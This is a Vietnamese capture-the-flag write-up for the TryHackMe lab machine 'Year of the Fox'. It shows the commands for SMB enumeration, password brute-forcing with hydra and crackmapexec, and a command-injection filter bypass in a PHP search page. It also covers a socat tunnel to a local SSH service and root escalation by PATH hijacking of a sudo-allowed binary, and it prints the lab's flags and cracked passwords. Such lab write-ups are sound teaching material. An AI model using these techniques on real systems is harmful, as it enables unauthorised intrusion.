Icon

Year of the Fox

Don't underestimate the sly old fox...

November 4, 2025 September 2, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm dòng này vào /etc/hosts để ánh xạ domain name.

10.10.141.8 fox.thm

Service Scanning

┌──(hungnt㉿kali)-[~/Desktop]
└─$ rustscan -a fox.thm -r 1-65535 -- -A

PORT    STATE SERVICE     REASON         VERSION
80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=You want in? Gotta guess the password!
|_http-title: 401 Unauthorized
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: YEAROFTHEFOX)
445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 4.7.6-Ubuntu (workgroup: YEAROFTHEFOX)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15

Kết quả scan cho ta thấy port 80 chạy HTTP, và SMB trên 139 và 445. Ta thấy rằng không có dịch vụ SSH nào, vì vậy có thể ta cần phát hiện một lỗ hổng nào đó cho phép Remote Code Execution.

HTTP 80

image

Dịch vụ HTTP yêu cầu authentication, và theo kết quả từ Nmap ta thấy:

Basic realm=You want in? Gotta guess the password!

Chúng ta thử một số default credentials như admin:admin, admin:password, admin:passwd, root:root, root:password nhưng tất cả đều không thành công.

Directory Enumeration

Tiếp theo, chúng ta dùng ffuf để brute force tìm các file có đuôi php, txt, hoặc html và loại bỏ các response có status code 403401.

image

Tuy nhiên, lần này cũng không thu được gì.

SMB 139,445

┌──(hungnt㉿kali)-[~/Desktop]
└─$ sudo nmap -p139,445 -sV --script=smb-enum* -v fox.thm

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YEAROFTHEFOX)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YEAROFTHEFOX)
Service Info: Host: YEAR-OF-THE-FOX

Host script results:
| smb-enum-sessions: 
|_  <nobody>
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.141.8\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (year-of-the-fox server (Samba, Ubuntu))
|     Users: 5
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.141.8\yotf: 
|     Type: STYPE_DISKTREE
|     Comment: Fox's Stuff -- keep out!
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\fox\samba
|     Anonymous access: <none>
|_    Current user access: <none>
| smb-enum-domains: 
|   YEAR-OF-THE-FOX
|     Groups: n/a
|     Users: fox
|     Creation time: unknown
|     Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
|     Account lockout disabled
|   Builtin
|     Groups: n/a
|     Users: n/a
|     Creation time: unknown
|     Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
|_    Account lockout disabled
| smb-enum-users: 
|   YEAR-OF-THE-FOX\fox (RID: 1000)
|     Full name:   fox
|     Description: 
|_    Flags:       Normal user account

Chúng ta chạy lại Nmap scan với các script smb-enum và tìm thấy một share tại C:\home\fox\samba, thuộc về user fox. Tuy nhiên, share này không cho phép ta quyền truy cập. Vì vậy, chúng ta dùng tiếp enum4linux để enumerate sâu hơn.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ enum4linux -a fox.thm

image

Kết quả cho thấy password yêu cầu tối thiểu 5 ký tự, và quan trọng hơn là không có Account Lockout Threshold, nghĩa là ta có thể tiến hành dictionary attack mà không sợ bị khóa tài khoản.

image

Chúng ta cũng phát hiện ra một user khác ngoài mặc định, đó là rascal.

Vì mật khẩu yêu cầu tối thiểu 5 ký tự, nên ta lọc tất cả các mật khẩu trong rockyou.txt thỏa điều kiện này ra một file mới. Sau đó tiến hành dictionary attack vào user fox bằng crackmapexec.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ awk 'length($0) >= 5' /usr/share/wordlists/rockyou.txt > rockyou5.txt
awk: cmd. line:1: (FILENAME=/usr/share/wordlists/rockyou.txt FNR=602044) warning: Invalid multibyte data detected. There may be a mismatch between your data and your locale

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 rockyou5.txt 
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
┌──(hungnt㉿kali)-[~/Desktop]
└─$ crackmapexec --verbose smb fox.thm -u fox -p rockyou5.txt

image

Tuy nhiên, quá trình này mất rất nhiều thời gian bởi vì SMB không xử lý tốt khi có nhiều handshake song song, server thường từ chối hoặc reset những kết nối dư thừa. Khác với các dịch vụ như FTP, SSH, HTTP có thể mở nhiều threads cùng lúc, SMB bị giới hạn về khả năng kết nối đồng thời. Vì vậy ta tạm gác lại và chuyển sang thử tấn công dịch vụ HTTP.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l fox -P rockyou5.txt fox.thm http-get / -V -t 24

image

Trong lúc đó, ta vẫn chưa tìm ra password của fox. Nhớ lại rằng ta đã phát hiện một user khác trước đó là rascal.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l rascal -P rockyou5.txt fox.thm http-get / -V -t 24

image

Cuối cùng, ta tìm được password của rascalangels2.

HTTP 80 (as rascal)

Trên website này chỉ có một tính năng duy nhất, đó là hệ thống search để tìm file.

image

Khi nhập dấu gạch chéo (/), toàn bộ input bị xóa. Nguyên nhân là do filter JavaScript ở phía client.

image

image

Chúng ta có thể dễ dàng bypass bằng cách chỉnh sửa request thông qua Burp Suite.

image

Khi query trống, server trả về 3 tên file.

image

Tuy nhiên, chúng ta không thể đọc nội dung của những file này trực tiếp bằng chức năng này. Thử mở trên browser cũng không được.

image

Directory Enumeration

Chúng ta thử directory scan lại, nhưng lần này login bằng user rascal. Kết quả vẫn không có gì.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://fox.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100 -H "Authorization: Basic cmFzY2FsOmFuZ2VsczI="

image

Tiếp theo, thử scan directory assets/php/, nhưng chỉ tìm thấy mỗi search.php.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://fox.thm/assets/php/FUZZ -r -e .php -fc 403 -t 100 -H "Authorization: Basic cmFzY2FsOmFuZ2VsczI="

image

Có thể những file .txt nằm trong /assets?

image

Hoặc là ở /assets/txtsearch.php nằm trong /assets/php? Nhưng thử rồi cũng không đúng.

image

SMB 139,445 (as rascal)

Vậy chúng ta thử dùng lại password của rascal để enumerate dịch vụ SMB.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ enum4linux -a -u 'rascal' -p 'angels2' fox.thm

image

Nhưng lần này cũng không phát hiện được gì hữu ích hơn.

OS Command Injection

Vì chức năng search này có liên quan đến file system, khả năng cao nó dính lỗ hổng OS command injection.

Đầu tiên, chúng ta thử với dấu chấm phẩy (;).

image

Sau đó thử dấu ampersand &.

image

Kết quả trả về Invalid Character, có vẻ ký tự này bị filter. Tiếp tục thử với dấu pipe (|).

image

Tiếp đó, ta thử chạy lệnh lồng nhau để in ra chuỗi fox nhằm trả về file fox.txt.

image

Ký tự $ bị filter, nhưng ta có thể thay bằng backticks.

image

Như vậy, ta kết luận được chức năng này dính lỗ hổng OS command injection. Chúng ta có thể chạy Python.

image

Để tránh các ký tự bị filter như ", ', hoặc $, ta encode command bằng base64, sau đó decode và pipe vào sh để thực thi.

image

image

Shell as www-data

Chúng ta encode một payload reverse shell bằng Python rồi thực thi nó trên target để có được shell.

image

image

.txt Files (from the Search Engine)

Tiếp theo, ta kiểm tra file search.php để xem những file .txt được lưu ở đâu.

$ pwd
pwd
/var/www/html/assets/php
$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Jun 22  2020 .
drwxr-xr-x 7 root root 4096 May 31  2020 ..
-rw-r--r-- 1 root root  650 Jun 22  2020 search.php
$ cat search.php
cat search.php
<?php
        if($_SERVER["REQUEST_METHOD"] != "POST"){
                echo "Uh oh, something went wrong!";
        } else {
                $target = json_decode(file_get_contents("php://input"));
                if (strpos($target->target, "&") !== false || strpos($target->target, "$") !==false){
                        echo json_encode(["Invalid Character"]);
                        exit();
                }
                $query = exec("find ../../../files/* -iname \"*$target->target*\" | xargs");
                if (strlen($query) < 1){
                        echo json_encode(["No file returned"]);
                } else{
                        $queryArr = explode(" ", $query);
                        foreach($queryArr as $key => $tmp){
                                $queryArr[$key] = str_replace("../../../files/", "", $tmp);
                        }
                        echo json_encode($queryArr);
                }
        }
?>

Chúng được đặt trong thư mục /var/www/files.

$ /bin/bash
/bin/bash
www-data@year-of-the-fox:/var/www/html/assets/php$ cd ../../../files
cd ../../../files
www-data@year-of-the-fox:/var/www/files$ ls
ls
creds2.txt  fox.txt  important-data.txt
www-data@year-of-the-fox:/var/www/files$ cat creds2.txt
cat creds2.txt
LF5GGMCNPJIXQWLKJEZFURCJGVMVOUJQJVLVE2CONVHGUTTKNBWVUV2WNNNFOSTLJVKFS6CNKRAX
UTT2MMZE4VCVGFMXUSLYLJCGGM22KRHGUTLNIZUE26S2NMFE6R2NGBHEIY32JVBUCZ2MKFXT2CQ=
www-data@year-of-the-fox:/var/www/files$ cat fox.txt
cat fox.txt
www-data@year-of-the-fox:/var/www/files$ cat important-data.txt
cat important-data.txt

Trong số đó, chỉ có creds2.txt chứa dữ liệu. Khi decode theo thứ tự base32 rồi base64, ta thu được một chuỗi trông giống hash.

image

c74341b26d29ad41da6cc68feedebd161103776555c21d77e3c2aa36d8c44730  -

Ta lưu lại để sau.

user.txt

www-data@year-of-the-fox:/var/www/html$ cd ~
cd ~
www-data@year-of-the-fox:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x  4 root root 4096 May 31  2020 .
drwxr-xr-x 13 root root 4096 May 30  2020 ..
drwxr-xr-x  2 root root 4096 May 31  2020 files
drwxr-xr-x  3 root root 4096 May 31  2020 html
-rw-r--r--  1 root root   38 May 31  2020 web-flag.txt
www-data@year-of-the-fox:/var/www$ cat web-flag.txt
cat web-flag.txt
THM{Nzg2ZWQwYWUwN2UwOTU3NDY5ZjVmYTYw}

Sudo Permissions

Chúng ta không có thông tin gì về password của www-data nên không thể xem quyền sudo:

image

Hơn nữa, www-data cũng không có quyền dùng su để chuyển sang các user khác. Vậy làm sao ta có thể truy cập vào hệ thống dưới quyền của các user khác được?

www-data@year-of-the-fox:/$ su rascal
su rascal
bash: /bin/su: Permission denied
www-data@year-of-the-fox:/$ su fox
su fox
bash: /bin/su: Permission denied

Local SSH Service

image

Khi enumerate thêm, ta phát hiện có một dịch vụ SSH đang chạy nhưng chỉ hoạt động ở local.

image

Kiểm tra file sshd_config, đúng là SSH service này chỉ cho phép authenticate với user fox.

www-data@year-of-the-fox:/$ ssh fox@localhost
ssh fox@localhost
bash: /usr/bin/ssh: Permission denied
www-data@year-of-the-fox:/$ ls -la /usr/bin/ssh
ls -la /usr/bin/ssh
-rwxr-x--- 1 root root 727848 Mar  4  2019 /usr/bin/ssh

Ta không thể chạy trực tiếp ssh trên target vì binary ssh chỉ có thể được thực thi bởi user root. Vì vậy, ta upload một binary socat đã được biên dịch sẵn ở chế độ static và mở port 22 ra internet thông qua port 2222. Nghĩa là tunnel port 22 sang port 2222 trên target để chúng ta có thể kết nối đến.

image

image

image

Bây giờ, ta tiến hành dictionary attack vào user fox.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l fox -P rockyou5.txt ssh://fox.thm:2222 -V -t 24

image

Kết quả là ta tìm ra password SSH của foxdonald.

Shell as fox

image

user-flag.txt

fox@year-of-the-fox:~$ cd ~
fox@year-of-the-fox:~$ ls -la
total 36
drwxr-x--- 5 fox  fox  4096 Jun 20  2020 .
drwxr-xr-x 4 root root 4096 May 28  2020 ..
lrwxrwxrwx 1 fox  fox     9 May 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 fox  fox   220 May 28  2020 .bash_logout
-rw-r--r-- 1 fox  fox  3771 May 28  2020 .bashrc
drwx------ 2 fox  fox  4096 May 28  2020 .cache
drwx------ 3 fox  fox  4096 May 28  2020 .gnupg
-rw-r--r-- 1 fox  fox   807 May 28  2020 .profile
drwxr-xr-x 2 fox  fox  4096 Jun 20  2020 samba
-rw-r--r-- 1 fox  fox     0 May 28  2020 .sudo_as_admin_successful
-rw-r--r-- 1 root root   38 May 31  2020 user-flag.txt
fox@year-of-the-fox:~$ cat user-flag.txt 
THM{Njg3NWZhNDBjMmNlMzNkMGZmMDBhYjhk}

Sudo Permissions

fox@year-of-the-fox:~$ sudo -l
Matching Defaults entries for fox on year-of-the-fox:
    env_reset, mail_badpass

User fox may run the following commands on year-of-the-fox:
    (root) NOPASSWD: /usr/sbin/shutdown

Sau khi login vào, ta nhận thấy fox có quyền chạy shutdown với quyền root mà không cần password, một điều khá bất thường.

SMB Share

fox@year-of-the-fox:~$ cd samba
fox@year-of-the-fox:~/samba$ ls
cipher.txt  creds1.txt
fox@year-of-the-fox:~/samba$ cat cipher.txt 
JV5FKMSNPJGTITTKKF5E46SZGJGXUVJSJZKFS6CONJCXUTTKJV4U26SBPJHUITJUJV5EC6SNPJMX
STL2MN5E6RCNGJGXUWJSJZCE2NKONJGTETLKLEZE26SBGIFE4VCZPBBWUTJUJZVEK6SNPJGXOTL2
IV5E6VCNGRHGURL2JVVFSMSNPJTTETTKJUYE26SRPJGWUTJSJZVE2MSNNJMTCTL2KUZE2VCNGBGX
USL2JZVE2M2ONJEXUCSNNJGTGTL2JEZE4ULPPJHVITLXJZVEK6SPIREXOTLKIF4VURCCNBBWOPJ5
BI======
fox@year-of-the-fox:~/samba$ cat creds1.txt 
JV5GWMSNKRMXUTL2JUZE26SNGFGXU232JZVE26CNPJGTETSULF4E26SVPJHVIWL2JV5EC6SONJGX
OTTKJF5E22SNO5HGUTL2JZ5FS6SNPJMXUTT2JV3U26SNPIFE26SNGJBWUTLZJZVFKMSOIRGXQTTK
KF5E6RCZGJGXUWJSJZCE2MKNPJEXUTT2JU2E42SZGJHFIWJSJV5FS6SPIRGXUTTKKEZE4VCNGVGX
UQL2JZCFS6CNPJGXUCSNNJGXSTTKJEZE4ULPGJGWUWJSJV5GO6SOKREXOTLKIF4VURCCNBBWOPJ5
BI======

Trong thư mục home của fox, ta cũng thấy một SMB share chứa 2 chuỗi được encode bằng base32. Khi decode lần lượt base32, base64 và cuối cùng là unhex, ta thu được các chuỗi giống như hash.

image

5c8d7f5eaa6208803b7866d9cbf0ea8a30198a2f8f4426cbe5a4267b272e90a8  -
9ac3c59613ea59c060b20c7c6703362ed1d8f6d5278fef683de904a322bebf85  -

Ta cũng lưu lại để sau.

shutdown Binary

fox có thể chạy binary này với quyền root mà không cần password, điều này khá lạ, chắc chắn nó có gì đó đặc biệt. Vậy nên ta transfer binary đó về máy của mình và tiến hành decompile để xem nó thực sự làm gì.

image

Ta chọn phần code decompile ngắn nhất.

image

void _init()
{
    if (__gmon_start__)
        __gmon_start__();
}

int64_t sub_510()
{
    int64_t var_8 = 0;
    /* jump -> nullptr */
}

int32_t system(char const* line)
{
    /* tailcall */
    return system(line);
}

int64_t sub_526()
{
    int64_t var_8 = 0;
    /* tailcall */
    return sub_510();
}

void __cxa_finalize(void* d)
{
    /* tailcall */
    return __cxa_finalize(d);
}

void _start(int64_t arg1, int64_t arg2, void (* arg3)()) __noreturn
{
    int64_t stack_end_1;
    int64_t stack_end = stack_end_1;
    __libc_start_main(main, __return_addr, &ubp_av, __libc_csu_init, __libc_csu_fini, arg3, &stack_end);
    /* no return */
}

void deregister_tm_clones()
{
    return;
}

void register_tm_clones()
{
    return;
}

void __do_global_dtors_aux()
{
    if (__TMC_END__)
        return;
    
    if (__cxa_finalize)
        __cxa_finalize(__dso_handle);
    
    deregister_tm_clones();
    __TMC_END__ = 1;
}

void frame_dummy()
{
    /* tailcall */
    return register_tm_clones();
}

int32_t main(int32_t argc, char** argv, char** envp)
{
    return system("poweroff");
}

void __libc_csu_init()
{
    _init();
    int64_t i = 0;
    
    do
    {
        int64_t rdx;
        int64_t rsi;
        int32_t rdi;
        (&__frame_dummy_init_array_entry)[i](rdi, rsi, rdx);
        i += 1;
    } while (1 != i);
}

void __libc_csu_fini() __pure
{
    return;
}

int64_t _fini() __pure
{
    return;
}

Chúng ta thấy trong hàm main, chương trình gọi binary poweroff thông qua hàm system(). Điều thú vị ở đây là poweroff được gọi mà không có absolute path. Điều này cho thấy nó có khả năng dính lỗ hổng Binary Hijacking.

image

Khi xem lại sudo permissions của user fox, ta thấy không có thiết lập secure_path. Như vậy, poweroff sẽ được gọi theo bất kỳ path nào ta cung cấp, và đây chính là vector để leo quyền.

Shell as root

Để khai thác, ta copy /bin/bash sang /tmp và đổi tên nó thành poweroff. Sau đó, ta thêm /tmp vào đầu biến môi trường PATH. Lúc này, khi chạy binary shutdown với quyền root, nó sẽ gọi poweroff (thực chất là bash ta vừa đặt trong /tmp) và spawn cho ta một shell với quyền root.

fox@year-of-the-fox:/usr/sbin$ cd /tmp
fox@year-of-the-fox:/tmp$ cp /bin/bash poweroff
fox@year-of-the-fox:/tmp$ export PATH=$PWD:$PATH
fox@year-of-the-fox:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
fox@year-of-the-fox:/tmp$ sudo /usr/sbin/shutdown
root@year-of-the-fox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root.txt

root@year-of-the-fox:/tmp# cd /root
root@year-of-the-fox:/root# ls -la
total 36 
drwx------  5 root root 4096 Sep  2 09:52 .
drwxr-xr-x 22 root root 4096 May 29  2020 ..
lrwxrwxrwx  1 root root    9 May 28  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 May 30  2020 .cache
drwx------  3 root root 4096 May 30  2020 .gnupg
drwxr-xr-x  3 root root 4096 May 28  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile                            -rw-r--r--  1 root root   21 May 31  2020 root.txt                            -rw-r--r--  1 root root   75 May 31  2020 .selected_editor                    root@year-of-the-fox:/root# cat root.txt                                      Not here -- go find!

Tuy nhiên, root flag lại không nằm ở đây, /root.

Nhớ lại, ta đã từng vào thư mục home của fox, www-data, và root, nhưng chưa kiểm tra thư mục của rascal lần nào.

root@year-of-the-fox:/root# cd /home/rascal
root@year-of-the-fox:/home/rascal# ls -la
total 24
drwxr-x--- 2 rascal rascal 4096 Jun  1  2020 .
drwxr-xr-x 4 root   root   4096 May 28  2020 ..
lrwxrwxrwx 1 root   root      9 May 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rascal rascal  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 rascal rascal 3771 Apr  4  2018 .bashrc
-r-------- 1 rascal root    158 Jun  9  2020 .did-you-think-I-was-useless.root
-rw-r--r-- 1 rascal rascal  807 Apr  4  2018 .profile
root@year-of-the-fox:/home/rascal# cat .did-you-think-I-was-useless.root 
T
H
M
{ODM3NTdk
MDljYmM4Z
jdhZWFhY2
VjY2Fk}

Here's the prize:

YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMw
Mwo=

Good luck!

vậy root flag là:

THM{ODM3NTdkMDljYmM4ZjdhZWFhY2VjY2Fk}

Hidden Email

Ngoài ra, ta còn phát hiện thêm một chuỗi được encode bằng base64. Sau khi decode, ta thu được một email thuộc về tryhackme.

image

Đến đây, ta có tổng cộng 3 chuỗi đã thu thập được trước đó.

c74341b26d29ad41da6cc68feedebd161103776555c21d77e3c2aa36d8c44730  -
5c8d7f5eaa6208803b7866d9cbf0ea8a30198a2f8f4426cbe5a4267b272e90a8  -
9ac3c59613ea59c060b20c7c6703362ed1d8f6d5278fef683de904a322bebf85  -

Nhưng với email này, ta không biết nó có ý nghĩa gì.

image